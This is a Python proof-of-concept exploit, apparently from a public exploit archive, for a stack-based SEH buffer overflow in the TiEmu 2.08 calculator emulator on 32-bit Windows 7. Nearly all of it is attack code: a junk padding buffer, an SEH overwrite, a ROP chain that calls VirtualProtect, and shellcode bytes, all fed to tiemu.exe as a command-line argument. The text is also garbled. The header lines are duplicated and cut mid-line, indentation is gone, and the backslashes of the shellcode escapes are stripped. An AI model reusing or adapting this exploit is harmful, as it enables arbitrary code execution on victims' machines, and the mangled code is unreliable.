#!/usr/bin/python
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team -
http://www.kpn.com
# Developed using Exploit Pack - http://exploitpack.com -
<jsa #!/usr/bin/python
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team -
http://www.kpn.com
# Developed using Exploit Pack - http://exploitpack.com -
<jsacco@exploitpack.com>
# Tested on: Windows 7 32 bits
#
# Description: TiEmu ( Texas Instrument Emulator ) 2.08 and prior is
# prone to a stack-based buffer overflow vulnerability because the
application fails to perform adequate
# boundary-checks on user-supplied input.
#
# What is TiEmu?
# TiEmu is a multi-platform emulator for TI89 / TI89 Titanium / TI92 /
TI92+ / V200PLT hand-helds.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://lpg.ticalc.org/prj_tiemu/
import struct, subprocess, os
file = "C:/Program Files/TiEmu/bin/tiemu.exe"
junk = "A" * 452
nseh = struct.pack('L', 0x06eb9090)
seh = struct.pack('L', 0x6c3010ba) # pop ebx # pop ebp # ret -
libtifiles2-5.dll
def create_rop_chain():
rop_gadgets = [
0x75ecd264, # POP ECX # RETN [SHELL32.DLL]
0x711e1388, # ptr to &VirtualProtect() [IAT COMCTL32.DLL]
0x7549fd52, # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll]
0x628daecc, # POP EBP # RETN [tcl84.dll]
0x76c319b8, # & push esp # ret [kernel32.dll]
0x7606c311, # POP EAX # RETN [SHELL32.DLL]
0xfffffdff, # Value to negate, will become 0x00000201
0x75de6a90, # NEG EAX # RETN [SHLWAPI.dll]
0x76c389d9, # XCHG EAX,EBX # RETN [kernel32.dll]
0x754f3b2f, # POP EAX # RETN [MSCTF.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x76b13193, # NEG EAX # RETN [USER32.dll]
0x76c38a09, # XCHG EAX,EDX # RETN [kernel32.dll]
0x757dfbf7, # POP ECX # RETN [ole32.dll]
0x71256c9b, # &Writable location [COMCTL32.DLL]
0x77048567, # POP EDI # RETN [RPCRT4.dll]
0x757e65e2, # RETN (ROP NOP) [ole32.dll]
0x76cd6ee4, # POP EAX # RETN [kernel32.dll]
0x90909090, # nop
0x76ac6d21, # PUSHAD # RETN [OLEAUT32.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
shellcode = "x90"*6
shellcode += "x31xdbx64x8bx7bx30x8bx7f"
shellcode += "x0cx8bx7fx1cx8bx47x08x8b"
shellcode += "x77x20x8bx3fx80x7ex0cx33"
shellcode += "x75xf2x89xc7x03x78x3cx8b"
shellcode += "x57x78x01xc2x8bx7ax20x01"
shellcode += "xc7x89xddx8bx34xafx01xc6"
shellcode += "x45x81x3ex43x72x65x61x75"
shellcode += "xf2x81x7ex08x6fx63x65x73"
shellcode += "x75xe9x8bx7ax24x01xc7x66"
shellcode += "x8bx2cx6fx8bx7ax1cx01xc7"
shellcode += "x8bx7cxafxfcx01xc7x89xd9"
shellcode += "xb1xffx53xe2xfdx68x63x61"
shellcode += "x6cx63x89xe2x52x52x53x53"
shellcode += "x53x53x53x53x52x53xffxd7"
junk2 = "A" * 2000
buffer = junk + nseh + seh + rop_chain + shellcode + junk2
try:
print(buffer)
subprocess.call([file, buffer])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "TiEmu not found!"
else:
print "Error executing exploit"
raise